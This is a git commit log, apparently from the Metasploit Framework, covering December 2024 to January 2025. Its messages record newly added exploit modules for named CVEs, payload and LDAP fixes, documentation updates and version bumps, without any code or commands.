Jack Heysel b8f82e0fe4 Add ESC4 detection to ldap_esc_vulnerable_cert_finder module 2025-01-23 19:13:13 -08:00
h00die e01f33f7a5 revert f5145de to make function work on target, not locally 2025-01-23 16:56:26 -05:00
jenkins-metasploit d8e9093e64 automatic module_metadata_base.json update 2025-01-23 20:32:51 +00:00
Brendan 378ac00c7d Merge pull request #19750 from dledda-r7/feat/prepend-multi-arch
Fix Prepends in Linux Payloads
2025-01-23 14:26:44 -06:00
jenkins-metasploit ed64b57b6f automatic module_metadata_base.json update 2025-01-23 19:28:55 +00:00
Martin Sutovsky 34f3957aea Land #19772, adding module for CraftCMS FTP template exploit 2025-01-23 20:21:17 +01:00
jheysel-r7 1939257618 Merge pull request #19825 from adfoster-r7/add-documentation-for-ldap-test-system
Add documentation for ldap test system
2025-01-23 06:29:14 -08:00
Martin Sutovsky 92ebabf168 Ivanti scanner template 2025-01-23 11:38:49 +01:00
Metasploit 3131b6b02d Bump version of framework to 6.4.47 2025-01-23 03:32:43 -06:00
adfoster-r7 4767f5e457 Add documentation for ldap test system 2025-01-23 01:34:04 +00:00
h00die af12460274 wrap tomcat dpkg command and rex version 2025-01-22 17:06:48 -05:00
Spencer McIntyre a6ec468063 Use the BASE_DN and don't require QUERY_ATTRIBUTES 2025-01-22 16:15:52 -05:00
dwelch-r7 cfaaa16d91 Merge pull request #19820 from adfoster-r7/pin-concurrent-ruby-version
Pin concurrent-ruby version
2025-01-21 12:17:04 +00:00
adfoster-r7 e1ffe82145 Pin concurrent-ruby version 2025-01-21 10:16:37 +00:00
adfoster-r7 c768ec8c83 Update report_vuln to support tracking origin 2025-01-20 22:07:13 +00:00
jenkins-metasploit 0e72da606c automatic module_metadata_base.json update 2025-01-20 14:43:22 +00:00
Martin Sutovsky 159b2bb6dc Land #19805, new module for LibreNMS Authenticated RCE 2025-01-20 15:33:37 +01:00
Takah1ro 393b2167cd Fix after applied suggestion 2025-01-20 21:24:16 +09:00
Takahiro Yokoyama 39351486e9 Update modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-01-20 21:07:34 +09:00
Takah1ro b0d5cf1f6a Stage the command to a file if failed to limit 2025-01-19 10:43:20 +09:00
Takah1ro 22523badab Update login check 2025-01-19 08:11:44 +09:00
Takah1ro 54bd55b186 Update vulnerable version 2025-01-18 10:18:10 +09:00
Takah1ro c93609eaa7 Lint formatting and make payload shorter 2025-01-18 08:56:15 +09:00
Takahiro Yokoyama fc005f5624 Update modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-01-18 08:49:13 +09:00
h00die ae5f0e8689 guard Rex::Version.new against crashes on local modules 2025-01-17 16:10:23 -05:00
Takah1ro 70146e52d9 Make payload shorter 2025-01-17 22:11:08 +09:00
Takah1ro ca304ae5c4 Avoid to split payload 2025-01-17 21:21:48 +09:00
dledda-r7 763ff9275e fix(payloads): fix x86 prepends 2025-01-17 02:04:13 -05:00
Takah1ro 61b10a44a3 Update default wait time 2025-01-17 12:43:34 +09:00
Takah1ro 8978486895 Use retry_until_truthy 2025-01-17 08:59:06 +09:00
Takah1ro 4f4a0f9cd5 Add nil check 2025-01-17 08:48:33 +09:00
Takah1ro 9540837b37 Use keep_cookies 2025-01-17 08:46:30 +09:00
Takah1ro f9204fe691 Update message about delete devices for clarity 2025-01-17 08:21:33 +09:00
Takahiro Yokoyama 23a9695ea5 Update modules/exploits/linux/http/librenms_authenticated_rce_cve_2024_51092.rb
Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2025-01-17 08:17:49 +09:00
Spencer McIntyre 897f8c890a Merge pull request #19808 from jheysel-r7/fix_ms_icpr_esc15_patch
Fix icpr_cert to print an error when ESC15 is patched
2025-01-16 22:44:33 +00:00
h00die 79ac873dfa fix loadmaster 2024 cve ref 2025-01-16 16:32:00 -05:00
h00die 7eee3f0be8 fix loadmaster 2024 check method crash 2025-01-16 16:30:45 -05:00
jheysel-r7 f7554d2467 Update lib/msf/core/exploit/remote/ms_icpr.rb 2025-01-16 09:36:30 -08:00
jheysel-r7 b5a116f85e Update lib/msf/core/exploit/remote/ms_icpr.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-01-16 09:25:33 -08:00
Takah1ro 99bfc21d5f Revert 2025-01-16 22:06:40 +09:00
Takah1ro 5087e460b0 Split long line 2025-01-16 21:57:54 +09:00
Takah1ro 8b127d3afa Add warning when all RETRY will ran out 2025-01-16 21:19:19 +09:00
adfoster-r7 1d748d73a1 Merge pull request #19807 from msutovsky-r7/typo_docs_fix
Fixed type in documentation Common Coding Mistakes
2025-01-16 12:06:54 +00:00
Metasploit bc425a0df8 Bump version of framework to 6.4.46 2025-01-16 04:57:39 -06:00
jenkins-metasploit 5fa61b6df9 automatic module_metadata_base.json update 2025-01-16 10:00:00 +00:00
Martin Sutovsky 99e95dd760 Land #19752, Prometheus pprof endpoint check 2025-01-16 10:50:58 +01:00
Takah1ro 4e53c967c2 Update message 2025-01-16 12:59:18 +09:00
h00die 1e7c86c947 fix prometheus ppof check 2025-01-15 17:54:20 -05:00
adfoster-r7 9c98804d58 Merge pull request #19800 from zeroSteiner/fix/dns/caching-incompatible-answers
Carry on if the record can't be cached
2025-01-15 22:45:50 +00:00
jenkins-metasploit 6a4844bf0d automatic module_metadata_base.json update 2025-01-15 21:13:37 +00:00
Brendan 9bd8590b99 Merge pull request #19793 from sfewer-r7/CVE-2024-55956
Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution (CVE-2024-55956)
2025-01-15 15:04:45 -06:00
Jack Heysel 2254a1f213 Responded to comments 2025-01-15 09:22:44 -08:00
Spencer McIntyre e425bba900 Catch the exception and log a message 2025-01-15 16:59:07 +00:00
jenkins-metasploit 8344c2c624 automatic module_metadata_base.json update 2025-01-15 15:50:37 +00:00
msutovsky-r7 0630187870 Land #19798, fixing link and code cleanup
Fix nsfw link in mssql_clr_payload, and rubocop the module
2025-01-15 16:41:34 +01:00
Takah1ro 01ea602675 Update version check message 2025-01-15 21:41:25 +09:00
Takah1ro 3298880c21 Add version check 2025-01-15 21:39:54 +09:00
adfoster-r7 de0cde7634 Merge pull request #19809 from dwelch-r7/mark-ldap-session-as-interactive
Add LDAP to the set of interactive session types
2025-01-15 12:08:15 +00:00
Takah1ro 12a2cdf3bf Remove store_valid_credential 2025-01-15 21:08:08 +09:00
Takah1ro d21be52b71 Lint formatting 2025-01-15 21:07:10 +09:00
Takahiro Yokoyama 0bdee81bcc Apply suggestions from code review
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-01-15 21:04:14 +09:00
Dean Welch 4c478a5b23 Add LDAP to the set of interactive session types 2025-01-15 09:51:35 +00:00
dledda-r7 e39af38c73 fix(payloads): updating prepend mixin in payloads 2025-01-15 04:32:42 -05:00
dledda-r7 4565a04510 fix(payloads): updating prepend mixin in payloads 2025-01-14 09:31:03 -05:00
Jack Heysel 42abf6be5b Fix icpr_cert to error when ESC15 is patched 2025-01-13 17:51:21 -08:00
Martin Sutovsky 278dd00845 Fixed type in documentation Common Coding Mistakes 2025-01-13 12:14:27 +01:00
msutovsky-r7 c494ad4f80 Land #19723, Merge pull request from cgranleese-r7/add-payload-testing-documentation
Adds payload testing documentation
2025-01-13 09:16:12 +01:00
Takah1ro 10be7a80cf Update document 2025-01-13 10:56:16 +09:00
Takah1ro 2de30c3a0f Minor fix 2025-01-12 21:35:33 +09:00
Takah1ro 0e1a22aa3b Update Description and print more info 2025-01-12 13:06:46 +09:00
Takah1ro 93bb7fa6c5 Add LibreNMS Authenticated RCE (CVE-2024-51092) 2025-01-12 12:28:07 +09:00
Spencer McIntyre db3699a516 Carry on if the record can't be cached 2025-01-10 15:45:49 -05:00
Jack Heysel 18be9fc101 Added suggestions from jvoisin 2025-01-10 11:45:40 -08:00
Jack Heysel d52593f231 Rubocop fix 2025-01-10 10:42:50 -08:00
Jack Heysel 928634b9fe Minor fixes and improvements 2025-01-10 10:26:17 -08:00
jheysel-r7 37dff525a5 Merge pull request #5 from Chocapikk/craftcms-exploit-fix
Fix and enhance CraftCMS FTP exploit module
2025-01-10 09:45:56 -08:00
Chocapikk b7d922f471 Fix and enhance CraftCMS FTP exploit module 2025-01-10 18:16:11 +01:00
msutovsky-r7 982401e803 Land #19794, Add docs for Stance and Passive metadata
Add docs for Stance and Passive metadata
2025-01-10 15:40:59 +01:00
dledda-r7 edf4fca476 chore: rubocop format fix 2025-01-10 07:55:34 -05:00
jenkins-metasploit d84eb3212f automatic module_metadata_base.json update 2025-01-10 02:40:09 +00:00
jheysel-r7 58c359293d Merge pull request #19796 from h00die/move_acronis
move acronis_cyber_protect_unauth_rce_cve_2022_3405 inside the http folder
2025-01-09 18:33:22 -08:00
h00die ce9f1b9101 fix nsfw link 2025-01-09 21:23:38 -05:00
h00die 3513c6c4db fix nsfw link 2025-01-09 20:58:40 -05:00
jenkins-metasploit 45fb4a7b67 automatic module_metadata_base.json update 2025-01-10 01:09:17 +00:00
jheysel-r7 5374c7b362 Merge pull request #19676 from h00die/needrestart
Ubuntu needrestart LPE (CVE-2024-48990)
2025-01-09 17:02:54 -08:00
jenkins-metasploit 351db34940 automatic module_metadata_base.json update 2025-01-10 00:51:11 +00:00
jheysel-r7 a6ba7bf9c2 Merge pull request #19734 from h00die/runc_arch
arch linux compatibility for runc priv esc
2025-01-09 16:45:02 -08:00
h00die 1aba53274f move acronis_cyber_protect_unauth_rce_cve_2022_3405 inside the http folder 2025-01-09 16:32:42 -05:00
h00die 1a839c0b33 move acronis_cyber_protect_unauth_rce_cve_2022_3405 inside the http folder 2025-01-09 16:30:51 -05:00
h00die 437c9fc99e review of ubuntu_needrestart_lpe 2025-01-09 16:23:09 -05:00
Jack Heysel 23db148aa9 Add check for nosuid 2025-01-09 09:59:09 -08:00
Jack Heysel 6d173c63a7 Updated wording 2025-01-09 09:10:55 -08:00
Jack Heysel 2c86d7661a Add docs for Stance and Passive metadata 2025-01-09 09:00:17 -08:00
jenkins-metasploit ed292a971f automatic module_metadata_base.json update 2025-01-09 16:23:41 +00:00
Diego Ledda 5cfaf4871d Land #19738, Pandora FMS auth RCE (CVE-2024-11320)
Land #19738, Pandora FMS auth RCE (CVE-2024-11320)
2025-01-09 17:16:58 +01:00
sfewer-r7 4d42c7878e improve the regex by removing the unnecessary word boundrys, and add a non matching group for the product name. Thanks jvoisin 2025-01-09 11:43:58 +00:00
sfewer-r7 e340e3ea6c favor a case statement over the if/elsif blocks (thanks jvoisin). 2025-01-09 11:34:13 +00:00
Stephen Fewer 98f9045e54 improve comment (thanks jvoisin)
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-01-09 11:29:04 +00:00
Stephen Fewer 43792457e5 improve comment (thanks jvoisin)
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-01-09 11:28:48 +00:00
Metasploit 412a1ba222 Bump version of framework to 6.4.45 2025-01-09 03:33:08 -06:00
jenkins-metasploit 6ac1d1e7bb automatic module_metadata_base.json update 2025-01-08 13:00:33 +00:00
Diego Ledda b2e28efa48 Land #19781, Add Selenium file read auxiliary module
Land #19781, Add Selenium file read auxiliary module
2025-01-08 13:54:04 +01:00
jenkins-metasploit eb71ce1057 automatic module_metadata_base.json update 2025-01-08 12:52:55 +00:00
Diego Ledda fea171357a Land #19771, Add Selenium Firefox RCE module (CVE-2022-28108)
Land #19771, Add Selenium Firefox RCE module (CVE-2022-28108)
2025-01-08 13:44:33 +01:00
Takah1ro 3fc85e103e Rubocop formatting 2025-01-08 21:09:22 +09:00
Takahiro Yokoyama f0d747ce6f Update modules/auxiliary/gather/selenium_file_read.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-01-08 21:01:50 +09:00
Takah1ro 296d3c92fc chore: removing PAYLOAD from DefaultOptions 2025-01-08 13:04:08 +09:00
jheysel-r7 e62010c592 Merge pull request #19780 from adfoster-r7/ensure-module-details-are-marked-as-ready
Ensure module details are marked as ready
2025-01-07 17:39:58 -08:00
jenkins-metasploit aa8cf01aef automatic module_metadata_base.json update 2025-01-08 01:30:41 +00:00
jheysel-r7 0ff2835bb7 Merge pull request #19770 from h00die-gr3y/netis-unauth-rce
Netis Router Exploit Chain Reactor [CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457]
2025-01-07 17:24:37 -08:00
h00die-gr3y 0c723b858f Added attackerkb references 2025-01-07 20:33:41 +00:00
jheysel-r7 d560a3202e Merge pull request #19751 from zeroSteiner/fix/issue/19744
Fix missing attributes on LDAP SSL sockets
2025-01-07 09:47:53 -08:00
jenkins-metasploit 2632da7334 automatic module_metadata_base.json update 2025-01-07 17:07:36 +00:00
jheysel-r7 f475b9d4d6 Merge pull request #19749 from zeroSteiner/fix/mod/ntp_nak_to_the_future
Fix ntp_nak_to_the_future
2025-01-07 09:01:15 -08:00
Spencer McIntyre e5e06572fb Add documentation to the module with testing steps 2025-01-07 09:14:08 -05:00
adfoster-r7 dac7c3965e Merge pull request #19792 from adfoster-r7/update-add-additional-library-dependencies-for-ruby-3.4-support
Add additional library dependencies for Ruby 3.4 support
2025-01-07 12:36:47 +00:00
jenkins-metasploit c7c7338ff6 automatic module_metadata_base.json update 2025-01-07 10:17:16 +00:00
Diego Ledda 7ead96a740 Land #19769, Add Selenium Chrome RCE module (CVE-2022-28108)
Land #19769, Add Selenium Chrome RCE module (CVE-2022-28108)
2025-01-07 11:10:37 +01:00
Diego Ledda 0f71c896e5 chore: removing PAYLOAD from DefaultOptions 2025-01-07 10:47:04 +01:00
H00die.Gr3y 9a6d074463 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-01-07 09:25:41 +01:00
jenkins-metasploit 43af3dbe3e automatic module_metadata_base.json update 2025-01-07 03:04:28 +00:00
jheysel-r7 817557c589 Merge pull request #19614 from vultza/onedev-file-read
OneDev Unauthenticated Arbitrary File Read (CVE-2024-45309)
2025-01-06 18:57:35 -08:00
Jack Heysel 08c84924f0 Rubocop fixes 2025-01-06 18:48:26 -08:00
jheysel-r7 7f5cf5edac Change CheckCode from Appears to Vulnerable 2025-01-06 18:37:56 -08:00
Takah1ro 2be1781aa7 Remove unnecessary version check 2025-01-07 08:44:53 +09:00
adfoster-r7 2c96ecff6a Add additional library dependencies for Ruby 3.4 support 2025-01-06 16:41:23 +00:00
jenkins-metasploit 98b5eabd48 automatic module_metadata_base.json update 2025-01-06 16:23:53 +00:00
Diego Ledda 289e95d530 Land #19367, fix ARM stager restore r0 in loop
Land #19367, fix ARM stager restore r0 in loop
2025-01-06 17:14:47 +01:00
dwelch-r7 e801720c92 Land #19767, Support Ruby 3.4 2025-01-06 16:13:19 +00:00
Takah1ro bca9a5fe61 Update check 2025-01-06 19:43:48 +09:00
sfewer-r7 0df004cee7 check for nil here, before we check for the end cdata tag (resolves a linting warning) 2025-01-06 10:41:02 +00:00
Takah1ro d788a3baf7 Update check 2025-01-06 19:37:31 +09:00
Takah1ro 474f5426b5 Update check 2025-01-06 19:11:27 +09:00
cgranleese-r7 aa74e0c97e Adds payload testing documentation 2025-01-06 09:44:29 +00:00
sfewer-r7 3ff685b70e fix three typos 2025-01-06 09:42:21 +00:00
sfewer-r7 7fd59b9683 fix date format 2025-01-06 09:26:44 +00:00
sfewer-r7 fe7334fae2 add in CVE-2024-55956 exploit 2025-01-06 09:26:44 +00:00
Takah1ro 11c1b726cf Improve
* add timeout option
  * print session info
  * apply suggestions (#19769)
2025-01-04 11:54:31 +09:00
Takah1ro 43294df0dd Add a message about what is failing 2025-01-04 10:21:43 +09:00
Takah1ro 710ae1198a Apply suggestions from #19769 2025-01-04 10:12:57 +09:00
Takah1ro e2bf2162dc Update failure 2025-01-04 09:13:41 +09:00
Takah1ro 6cbb30c91a Avoid the code nesting 2025-01-04 09:11:24 +09:00
Takah1ro bf643041c3 Rubocop formatting 2025-01-04 08:46:12 +09:00
Takahiro Yokoyama 3a28df6b32 Apply suggestions from code review
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-01-04 08:41:56 +09:00
vultza 6d206f80f1 check method improvement 2025-01-02 17:57:07 +00:00
Martin Sutovsky 05bd95c23f Init new method for Unix fileless ELF execution 2025-01-02 12:56:55 +01:00
Metasploit 9b75fc50ec Bump version of framework to 6.4.44 2025-01-02 03:33:04 -06:00
h00die 1462875819 remove UA updater python script in favor of ruby script 2025-01-01 22:39:00 -05:00
h00die 967c9b36e2 update permissions 2025-01-01 22:35:24 -05:00
h00die d0a4d57883 weekly updater action 2025-01-01 22:35:19 -05:00
Takah1ro ec8dba87fb Update failure and print about session id 2025-01-02 11:30:03 +09:00
Takah1ro 3b947cf1c5 Update vulnerable version 2025-01-02 09:57:00 +09:00
jenkins-metasploit 45a36605f2 automatic module_metadata_base.json update 2025-01-01 19:59:49 +00:00
adfoster-r7 63e4df36b3 Merge pull request #19774 from h00die/update_joomla_wordpress
Update joomla wordpress stuff
2025-01-01 19:53:30 +00:00
adfoster-r7 6b805bfdd6 Merge pull request #19755 from smashery/ua-strings-dec24
Updated user agent strings December 2024
2025-01-01 19:48:25 +00:00
Takah1ro bb138e49d6 Lint formatting 2025-01-01 12:07:02 +09:00
Takah1ro 9d664a36f0 Add Selenium file read auxiliary module 2025-01-01 11:55:35 +09:00
adfoster-r7 a422d065c0 Ensure module details are marked as ready 2024-12-31 12:59:29 +00:00
jheysel-r7 22c16975b6 Merge pull request #19762 from adfoster-r7/update-docs-dependencies-rexml
Update docs dependency rexml
2024-12-30 10:58:03 -08:00
jheysel-r7 9ae5027f3a Merge pull request #19674 from zeroSteiner/fix/bump-multi/2024-11-22
Bump the ruby_smb and rex-socket gems
2024-12-30 10:52:47 -08:00
jenkins-metasploit 4ab9664cc6 automatic module_metadata_base.json update 2024-12-30 18:35:19 +00:00
jheysel-r7 e70b6c777f Merge pull request #19663 from sfewer-r7/CVE-2024-0012
Exploit module for PAN-OS management interface unauth RCE (CVE-2024-0012 + CVE-2024-9474)
2024-12-30 10:29:10 -08:00
jenkins-metasploit ea00aa6579 automatic module_metadata_base.json update 2024-12-30 17:13:12 +00:00
jheysel-r7 f436f44d83 Merge pull request #19698 from h00die/obsidian
obsidian community plugin persistence module
2024-12-30 09:06:58 -08:00
Takah1ro 38d8d35dc5 Update doc 2024-12-30 13:50:13 +09:00
Takah1ro bbc282e90c Improve check 2024-12-30 13:36:15 +09:00
Takah1ro 6e0c945a42 Improve check for version 4 2024-12-30 13:00:25 +09:00
adfoster-r7 78c37a4c05 Merge pull request #19773 from h00die/update_oracle_docs
update oracle install instructions
2024-12-29 23:56:35 +00:00
h00die cf7d2584ba update wp themes+plugins 2024-12-29 17:31:55 -05:00
h00die 87494a0958 update modules for inclusion into wordpress updater 2024-12-29 17:25:12 -05:00
h00die 03ddb8990e sort alphabetically 2024-12-29 15:57:23 -05:00
h00die df0aa98e8b update oracle install instructions 2024-12-29 15:16:33 -05:00
h00die-gr3y 862f2ee6c6 Added documentation and some small module updates 2024-12-29 20:05:05 +00:00
h00die-gr3y 8a1dd2b1ff fourth release module 2024-12-29 11:33:52 +00:00
h00die-gr3y 0d823fc9a2 third release module 2024-12-29 10:41:36 +00:00
Takah1ro 68ae0d40ea Add timeout option 2024-12-29 13:02:32 +09:00
Takah1ro e4111cdc97 Update to use FETCH_DELETE 2024-12-29 12:33:39 +09:00
Takah1ro 86bd1c2938 Minor improve
* enable fetch_delete
 * avoid using single quotes
 * update doc
2024-12-29 12:19:19 +09:00
Takah1ro af432a3b72 Improve stability 2024-12-29 12:00:09 +09:00
Jack Heysel 94507655ae WIP CraftCMS FTP Template exploit 2024-12-28 18:56:47 -08:00
Takah1ro cb34508321 Avoid using single quote in payload 2024-12-28 20:09:18 +09:00
Takah1ro 02ad81066d Add cleanup 2024-12-28 18:04:56 +09:00
Takahiro Yokoyama c7d7407179 Update modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2024-12-28 18:04:09 +09:00
Takah1ro 90d9bb769d Update vulnerable version 2024-12-28 15:53:31 +09:00
Takah1ro 43230b02a5 Review fix
* use send_request_cgi
  * add check if sudo without password possible
  * base64 encode payload
2024-12-28 15:42:15 +09:00
Takah1ro 6577a18abb Add response check 2024-12-28 15:04:35 +09:00
Takahiro Yokoyama 9f20c575e5 Update modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb
Improve version detection messaging

Co-authored-by: bcoles <bcoles@gmail.com>
2024-12-28 14:40:44 +09:00
Takah1ro 7ecc1cb87b Update vulnerable version 2024-12-28 14:39:24 +09:00
Takah1ro 9bfccc4293 Review fix
* add check if sudo without password possible
  * base64 encode payload
2024-12-28 14:02:59 +09:00
Takah1ro 6c5952d3b6 Use send_request_cgi 2024-12-28 13:34:10 +09:00
Takah1ro 340d4bcd58 Add selenium firefox rce module 2024-12-28 12:27:18 +09:00
Takah1ro e3d68d4164 Update author and fix version detection 2024-12-28 11:18:41 +09:00
h00die-gr3y 677e8ec9dd updated vulnerable firmware versions in description 2024-12-27 22:12:51 +00:00
h00die-gr3y 7ca7d71ab4 second release module 2024-12-27 21:55:44 +00:00
h00die-gr3y d3b4c5becb initial release module 2024-12-27 20:36:31 +00:00
vultza 814cdb354f fix typo 2024-12-27 14:45:05 +00:00
Takah1ro 38e886f4b6 Update payload string formatting 2024-12-27 21:58:42 +09:00
Takah1ro e17d7cd161 Minor fix 2024-12-27 21:50:26 +09:00
Takah1ro 64b1832567 Update not to use selenium-webdriver 2024-12-27 13:00:20 +09:00
Takah1ro 390f551df7 Fix EDB 2024-12-27 00:10:01 +09:00
Takah1ro 3defb63763 Fix CVE format 2024-12-26 23:57:41 +09:00
Takah1ro 82ebdf1f9d Improve docs 2024-12-26 23:54:47 +09:00
Takah1ro acbcd9f3b1 Fix ubuntu version 2024-12-26 23:51:40 +09:00
Takah1ro 06af9b0b3d Add selenium chrome rce module 2024-12-26 23:44:11 +09:00
adfoster-r7 293598d924 Support Ruby 3.4 2024-12-26 13:47:48 +00:00
Metasploit d86136c8ef Bump version of framework to 6.4.43 2024-12-26 03:32:57 -06:00
adfoster-r7 cdadf68a98 Update docs dependencies rexml 2024-12-23 23:06:09 +00:00
h00die-gr3y 58c979dc08 updated with correct privileged setting 2024-12-23 19:45:29 +00:00
jheysel-r7 a133b58665 Merge pull request #19763 from adfoster-r7/fix-flaky-windows-version-detection
Fix flaky windows version detection
2024-12-23 10:52:22 -08:00
adfoster-r7 a65135e68b Fix flaky windows version detection 2024-12-23 15:51:43 +00:00
jenkins-metasploit 66f6cac472 automatic module_metadata_base.json update 2024-12-23 11:36:32 +00:00
Martin Sutovsky 789f7cfcd1 Land #19731, new feature for recognizing broken SMB session and managing them 2024-12-23 12:06:49 +01:00
h00die-gr3y 7c8116a2cb Third release of module + Documentation 2024-12-22 11:41:05 +00:00
h00die-gr3y cf5b26dd61 Second release after testing multiple Pandora FMS versions 2024-12-20 20:40:04 +00:00
Spencer McIntyre 6eb2f6170c Merge pull request #19756 from smashery/dns_reorder
Add the ability to reorder DNS entries
2024-12-20 11:50:38 -05:00
dledda-r7 a27024eb1f fix: updating aarch64/shell to use the new prepends mixin 2024-12-20 10:18:25 -05:00
dledda-r7 ead6af8cbc feat: add PrependSetresuid for linux/aarch64 2024-12-20 10:16:46 -05:00
dledda-r7 aca6613a3e feat: add PrependSetreuid for linux/aarch64 2024-12-20 09:46:38 -05:00
Spencer McIntyre 41460077a4 Bump the ruby_smb and rex-socket gems 2024-12-20 09:09:55 -05:00
Spencer McIntyre a68b9dc8cd Remove the old NTPSymmetric model
It is no longer in use by any modules. It has been superseded by
NTPHeader.
2024-12-20 08:57:24 -05:00
Spencer McIntyre cfb7207a85 Fix the ntp_nak_to_the_future module 2024-12-20 08:57:24 -05:00
dledda-r7 30e13c9040 fix: fix mismatch between prepend name and stub in linux/armle 2024-12-20 08:14:09 -05:00
dledda-r7 647972b7c8 feat: add PrependSetuid for linux/aarch64 2024-12-20 08:13:09 -05:00
adfoster-r7 40de61f447 Merge pull request #19758 from adfoster-r7/update-metasploit-dns-docs-syntax-highlight
Update metasploit dns docs syntax highlight
2024-12-20 11:44:49 +00:00
dledda-r7 4d304c65b5 fix: remove x64 directory flatting in Linux payloads 2024-12-20 04:15:41 -05:00
adfoster-r7 78f74a7099 Update metasploit dns docs syntax highlight 2024-12-20 02:12:49 +00:00
Ashley Donaldson ee4f01f0a4 Ability to reorder DNS entries 2024-12-20 11:02:38 +11:00
jenkins-metasploit b7bb75046d automatic module_metadata_base.json update 2024-12-19 22:56:46 +00:00
Brendan 51bbc76c79 Land #19748, Add the timeroast module
Add the timeroast module
2024-12-19 16:50:09 -06:00
Spencer McIntyre a365d17055 Set the default NTP port
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-12-19 17:12:39 -05:00
Ashley Donaldson 4eb01d7395 Updated user agent strings December 2024 2024-12-20 08:56:07 +11:00
jenkins-metasploit e0f79d806d automatic module_metadata_base.json update 2024-12-19 21:00:41 +00:00
Spencer McIntyre d0cb6c1e2d Merge pull request #19741 from dledda-r7/remove-reverse-hop-http
Remove reverse_hop_http payload
2024-12-19 15:54:33 -05:00
jenkins-metasploit a6dc0bf8a7 automatic module_metadata_base.json update 2024-12-19 20:51:10 +00:00
Spencer McIntyre c77ccb1203 Merge pull request #19740 from dledda-r7/remove-reverse-https-proxy
Removing reverse_https_proxy payload
2024-12-19 15:43:05 -05:00
h00die 78984e467f add check for prometheus pprof endpoints 2024-12-19 15:40:51 -05:00
Spencer McIntyre c8100375d9 Fix missing attributes on SSL sockets 2024-12-19 14:52:08 -05:00
Brendan 227143efa1 Land #19746, Added Server 2025 to Windows version constants
Added Server 2025 to Windows version constants
2024-12-19 11:24:19 -06:00
dledda-r7 753447c7f7 fix: updating ppc/shell to use the new mixin structure 2024-12-19 12:13:55 -05:00
dledda-r7 0d632777fc fix: splitting linux prepends to arch-specific mixins 2024-12-19 10:54:29 -05:00
Spencer McIntyre 56152fd359 Add docs for the new timeroast module 2024-12-19 09:29:05 -05:00
Spencer McIntyre 03f399ee9a Initial commit of the timeroast module 2024-12-19 09:29:05 -05:00
Spencer McIntyre 60fd582fb2 Add timeroast support to #identify_hash 2024-12-19 09:29:05 -05:00
Spencer McIntyre 04c9106303 Add the spec for the new int range option 2024-12-19 09:29:05 -05:00
Spencer McIntyre 8ea779af56 Add the OptIntRange class 2024-12-19 09:29:05 -05:00
Spencer McIntyre 72c7f4ace2 Add the NTPHeader specs 2024-12-19 09:29:05 -05:00
Metasploit e2a248e9df Bump version of framework to 6.4.42 2024-12-19 03:32:40 -06:00
jenkins-metasploit c70043f842 automatic module_metadata_base.json update 2024-12-18 20:51:38 +00:00
Brendan 7ddffc790c Merge pull request #19460 from gardnerapp/game_overlay
Land #19460, CVE-2023-2640, CVE-2023-32629 Game Overlay Ubuntu Privilege Escalation
2024-12-18 14:44:57 -06:00
Spencer McIntyre 048038f44a Add NTP mode constants 2024-12-18 15:33:38 -05:00
Spencer McIntyre f4dc4a8220 Add the NTPHeader structure 2024-12-18 15:33:33 -05:00
bwatters-r7 b7f477172f Update docs to reflect recent changes 2024-12-18 14:08:10 -06:00
jenkins-metasploit 37eaa29df6 automatic module_metadata_base.json update 2024-12-18 12:41:54 +00:00
adfoster-r7 2001469d02 Merge pull request #19742 from sjanusz-r7/TeamCity-is-capitalized
Capitalize TeamCity correctly
2024-12-18 12:35:12 +00:00
Martin Sutovsky 531ed162db Land #19733, exploit module for CVE-2022-40471 - unauthenticated RCE 2024-12-18 12:44:34 +01:00
h00die-gr3y 2fe0b35384 update2 based on comments 2024-12-18 08:34:10 +00:00
h00die-gr3y 2abde4c923 update based on comments 2024-12-18 08:32:06 +00:00
Ivan Nikolskiy cdc51228c1 Update reverse_tcp.rb 2024-12-18 07:26:37 +00:00
Ashley Donaldson 747013615f Added Server 2025 to Windows version constants 2024-12-18 12:46:07 +11:00
bwatters-r7 59229ee612 Update payload name, fix payload escapes & quotation, add unix cmd support 2024-12-17 16:52:24 -06:00
sfewer-r7 edf8d186f7 use the HttpClient cookie jar. Thank you @jheysel-r7 for this improvement. 2024-12-17 17:47:00 +00:00
Stephen Fewer c25b3ceb03 typo 4
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-12-17 17:26:46 +00:00
Stephen Fewer 51908d6621 typo 3
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-12-17 17:26:31 +00:00
Stephen Fewer 65bb3cc990 typo 2
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-12-17 17:26:20 +00:00
Stephen Fewer 3ed2b5916a fix typo
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-12-17 17:26:00 +00:00
aaryan-11-x f2d723d1d0 Modified the code logic as instructed by the reviewer & removed the instance variable 2024-12-17 21:39:30 +05:30
sjanusz-r7 a99fae420a Capitalize TeamCity correctly 2024-12-17 14:27:41 +00:00
dledda-r7 5005d73a3e fix: removing reverse_hop_http spec test 2024-12-17 08:55:10 -05:00
dledda-r7 60f26f7062 fix: removing reverse_hop_http 2024-12-17 08:53:06 -05:00
dledda-r7 31dc885419 fix: removing reverse_https_proxy spec test 2024-12-17 06:46:32 -05:00
aaryan-11-x f5329a71df Added the DELETE_FILES option to delete leftover files by the exploit with the FileDropper mixin 2024-12-17 17:00:06 +05:30
aaryan-11-x 4c51165ec6 Made necessary changes as mentioned by the reviewer 2024-12-17 16:07:58 +05:30
